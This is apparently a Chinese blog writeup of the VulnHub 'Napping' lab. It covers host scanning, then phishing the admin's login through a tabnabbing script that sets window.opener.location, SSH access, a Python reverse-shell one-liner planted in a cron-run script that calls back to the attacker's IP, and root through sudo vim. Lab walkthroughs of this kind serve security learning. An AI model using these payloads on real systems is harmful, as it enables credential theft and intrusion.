Napping - vulnhub - writeup

发布时间 2023-09-17 16:59:03作者: lockly

Napping - vulnhub - writeup

信息收集

目标开放了22和80。

root@kali ~ » arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:02:72:37, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.100  08:00:27:dd:a2:66       PCS Systemtechnik GmbH
192.168.56.103  08:00:27:49:ee:4d       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.295 seconds (111.55 hosts/sec). 2 responded
root@kali ~ » nmap -A -sT -p- --min-rate 6000 192.168.56.103 -o /root/Desktop/nmapResult/napping.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-15 02:38 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c4:fc:dc:4b:f4:31:a0:ad:0d:20:61:fd:ca:ab:79 (RSA)
|   256 6f:31:b3:e7:7b:aa:22:a2:a7:80:ef:6d:d2:87:6c:be (ECDSA)
|_  256 af:01:85:cf:dd:43:e9:8d:32:50:83:b2:41:ec:1d:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:49:EE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.60 ms 192.168.56.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds

访问首页是一个登录页面,还有跳转到注册的链接。先看看目录,发现一个有意思的config页面,但是访问空白,尝试fuzz了参数但没有什么发现。

image-20230915144842436

注册一个用户登录,欢迎页面可以提交一个链接,根据他的意思就是帮助博客推广,提供的链接会有管理员审核。

image-20230917164102592

网页钓鱼

那可以尝试钓鱼,伪造这个站的登录交上去,管理员可能会误以为登录失效而重新登录。本来直接用setoolkit的,但是好像python版本不同导致库的使用方式也不一样,因为这个是在kali里编译了就懒得再去改代码了。

image-20230915150903534

用cs来克隆一下登录 页面,下面没截到,但开了键盘监听。

image-20230915152536131

但忘了一件重要的事:这个机子访问肯定用的计划任务,如下他用的python脚本,键盘监听肯定没用!

image-20230915154025550

那就自己手动来,将页面源代码下载下来之后想怎么监听表单信息,首先想的是用下面这种但无效,可能是新窗口无法访问这个链接的原因。

<script>
    window.open("http://192.168.56.102:1212/index.php", "_self");
</script>

然后尝试直接从当前窗口中导航到那个url,但这种也不行。

<script>
	window.location.href = "http://192.168.56.102:1212/index.php";
</script>

试着使用这种,直接将父窗口的位置修改成指定的url就可以生效了。

<script>
    window.opener.location="http://192.168.56.102:1212/index.php";
</script>

最后得到了凭据: username=daniel&password=C%40ughtm3napping123

image-20230915161457084

ssh登录

但是密码不管是登录还是ssh都失败了,后面才猛然想起密码应该是经过了url编码,最后的凭据为: daniel:C@ughtm3napping123

image-20230917122635882

python反弹shell

无权执行sudo,上传了linpease没有什么可以直接利用的,不过可以看到这还有一个用户adrian

image-20230917152207687

但在文件这里可以看到另外一个用户adrain那里有个疑似flag的文件。

image-20230917151553517

到这个目录下查看权限,这个user.txt无权访问,但是根据上面的daniel和adrian都同属于administrator这个组,所以query.py是有读写权限的。

daniel@napping:~$ cd /home/adrian/; ls -al
total 48
drwxr-xr-x 3 adrian adrian          4096 Sep 15 06:28 .
drwxr-xr-x 4 root   root            4096 Oct 12  2021 ..
lrwxrwxrwx 1 adrian adrian             9 Oct 12  2021 .bash_history -> /dev/null
-rw-r--r-- 1 adrian adrian             0 Feb 25  2020 .bash_logout
-rw-r--r-- 1 adrian adrian             0 Feb 25  2020 .bashrc
drwx------ 2 adrian adrian          4096 Oct 11  2021 .cache
lrwxrwxrwx 1 adrian adrian             9 Oct 12  2021 .mysql_history -> /dev/null
-rw-r--r-- 1 adrian adrian             0 Feb 25  2020 .profile
-rw-rw-r-- 1 adrian adrian            75 Oct 11  2021 .selected_editor
-rw-r--r-- 1 adrian adrian             0 Oct 11  2021 .sudo_as_admin_successful
-rw------- 1 adrian adrian             0 Oct 30  2021 .viminfo
-rw-rw-r-- 1 adrian administrators   481 Oct 30  2021 query.py
-rw-rw-r-- 1 adrian adrian         19840 Sep 17 07:24 site_status.txt
-rw------- 1 adrian adrian            22 Oct 12  2021 user.txt

现在可以写入反弹shell的语句,文件名是查询的意思,应该是会有定时任务去执行他。上传pspy看一下果然,执行的uid为1000就是adrian这个用户。

2023/09/17 07:40:01 CMD: UID=0     PID=96528  | /usr/sbin/CRON -f 
2023/09/17 07:40:01 CMD: UID=1000  PID=96530  | /bin/sh -c /usr/bin/python3 /home/adrian/query.py 
2023/09/17 07:40:01 CMD: UID=0     PID=96531  | /bin/sh -c /usr/bin/python3 /root/del_links.py 
2023/09/17 07:40:01 CMD: UID=0     PID=96532  | /usr/bin/python3 /root/del_links.py

写入反弹shell的python语句,等一会他执行了就会得到会话。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

image-20230917155643119

完全交互式shell

设置环境变量,ctrl+z发送到后台,执行下面的命令升级到完全交互式shell。

export TERM=xterm    // 允许clear
Ctrl + z 
stty raw -echo;fg    
reset

image-20230917161244657

提权

到这就简单了,利用一手vim提权?传送门

image-20230917162158388

拿到最后的flag收官?。

sudo vim -c ':!/bin/sh'

image-20230917162539630